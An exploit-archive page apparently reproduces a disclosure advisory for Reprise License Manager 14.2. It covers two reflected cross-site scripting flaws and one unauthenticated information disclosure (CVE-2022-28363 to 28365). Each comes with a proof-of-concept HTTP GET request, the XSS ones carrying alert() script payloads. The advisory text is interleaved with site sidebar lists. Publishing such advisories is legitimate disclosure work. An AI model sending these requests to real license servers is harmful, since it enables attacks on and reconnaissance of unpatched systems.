

Reprise License Manager 14.2 Cross Site Scripting / Information Disclosure

Authored by [Giulia Melotti Garibaldi](#)

Posted [Apr 8, 2022](#)

Reprise License Manager version 14.2 suffers from cross site scripting and information disclosure vulnerabilities.

tags | [exploit](#), [vulnerability](#), [xss](#), [info disclosure](#)

advisories | [CVE-2022-28363](#), [CVE-2022-28364](#), [CVE-2022-28365](#)

SHA-256 | 370fa6ba6f1124cf756ea20795a146d132468475c831aa36bf2f91715035bac6 [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like 0

Tweet

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

[Download](#)

Multiple Vulnerabilities in Reprise License Manager 14.2

Credit: Giulia Melotti Garibaldi

```
#####
# Product:   RLM 14.2
# Vendor:    Reprise Software
# CVE ID:    CVE-2022-28363
# Vulnerability Title: Reflected Cross-Site Scripting
# Severity:  Medium
# Author(s): Giulia Melotti Garibaldi
# Date:      2022-03-29
#
#####
Introduction:
Reprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the
/goform/login_process "username" parameter via GET. No authentication is required.
```

Vulnerability PoC:

```
GET http://HOST:5054/goform/login_process?username=admin<script>alert("1")</script><script>alert("1")
</script>&password=admin&ok=LOGIN HTTP/1.1
Host: HOST:5054
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://HOST:5054
Connection: keep-alive
Referer: http://HOST:5054/goform/login_process
```

```
#####
# Product:   RLM 14.2
# Vendor:    Reprise Software
# CVE ID:    CVE-2022-28364
# Vulnerability Title: Authenticated Reflected Cross-Site Scripting
# Severity:  Low
# Author(s): Giulia Melotti Garibaldi
# Date:      2022-03-29
#
#####
Introduction:
Reprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the
/goform/rlmswitchr_process "file" parameter via GET. Authentication is required.
```

Vulnerability PoC:

```
GET http://HOST:5054/goform/rlmswitchr_process?file=<script>alert("1")</script> HTTP/1.1
Host: HOST:5054
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Origin: http://HOST:5054
Connection: keep-alive
Referer: http://HOST:5054/goforms/rlmswitchr
Cookie: REDACTED
```

```
#####
# Product:   RLM 14.2
# Vendor:    Reprise Software
# CVE ID:    CVE-2022-28365
```



Follow us on Twitter



Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files

Ubuntu 52 files

Gentoo 44 files

Debian 27 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secuR1ty 6 files

mjruczyk 4 files

George Tsimpidas 3 files

File Tags

ActiveX (932)
 Advisory (79,557)
 Arbitrary (15,643)
 BBS (2,859)
 Bypass (1,615)
 CGI (1,015)
 Code Execution (6,913)
 Conference (672)
 Cracker (840)
 CSRF (3,288)
 DoS (22,541)
 Encryption (2,349)
 Exploit (50,293)
 File Inclusion (4,162)
 File Upload (946)
 Firewall (821)
 Info Disclosure (2,656)

File Archives

November 2022
 October 2022
 September 2022
 August 2022
 July 2022
 June 2022
 May 2022
 April 2022
 March 2022
 February 2022
 January 2022
 December 2021
 Older

Systems

AIX (426)
 Apple (1,926)

```
# Vulnerability Title: Unauthenticated Information Disclosure
# Severity: Low
# Author(s): Giulia Melotti Garibaldi
# Date: 2022-03-29
#
#####
Introduction:
Reprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to
/goforms/rlminfo. No authentication is required.
The information disclosed is associated with software versions, process IDs, network configuration,
hostname(s), system architecture and file/directory information.

Vulnerability PoC:

GET http://HOST:5054/goforms/rlminfo HTTP/1.1
Host: HOST:5054
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Content-Length: 0
```



[Login](#) or [Register](#) to add favorites

- Intrusion Detection (866) BSD (370)
- Java (2,888) CentOS (55)
- JavaScript (817) Cisco (1,917)
- Kernel (6,255) Debian (6,620)
- Local (14,173) Fedora (1,690)
- Magazine (586) FreeBSD (1,242)
- Overflow (12,390) Gentoo (4,272)
- Perl (1,417) HPUX (878)
- PHP (5,087) iOS (330)
- Proof of Concept (2,290) iPhone (108)
- Protocol (3,426) IRIX (220)
- Python (1,449) Juniper (67)
- Remote (30,009) Linux (44,118)
- Root (3,496) Mac OS X (684)
- Ruby (594) Mandriva (3,105)
- Scanner (1,631) NetBSD (255)
- Security Tool (7,768) OpenBSD (479)
- Shell (3,098) RedHat (12,339)
- Shellcode (1,204) Slackware (941)
- Sniffer (885) Solaris (1,607)
- Spoof (2,165) SUSE (1,444)
- SQL Injection (16,089) Ubuntu (8,147)
- TCP (2,377) UNIX (9,150)
- Trojan (685) UnixWare (185)
- UDP (875) Windows (6,504)
- Virus (661) Other
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other

Site Links


- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory


About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed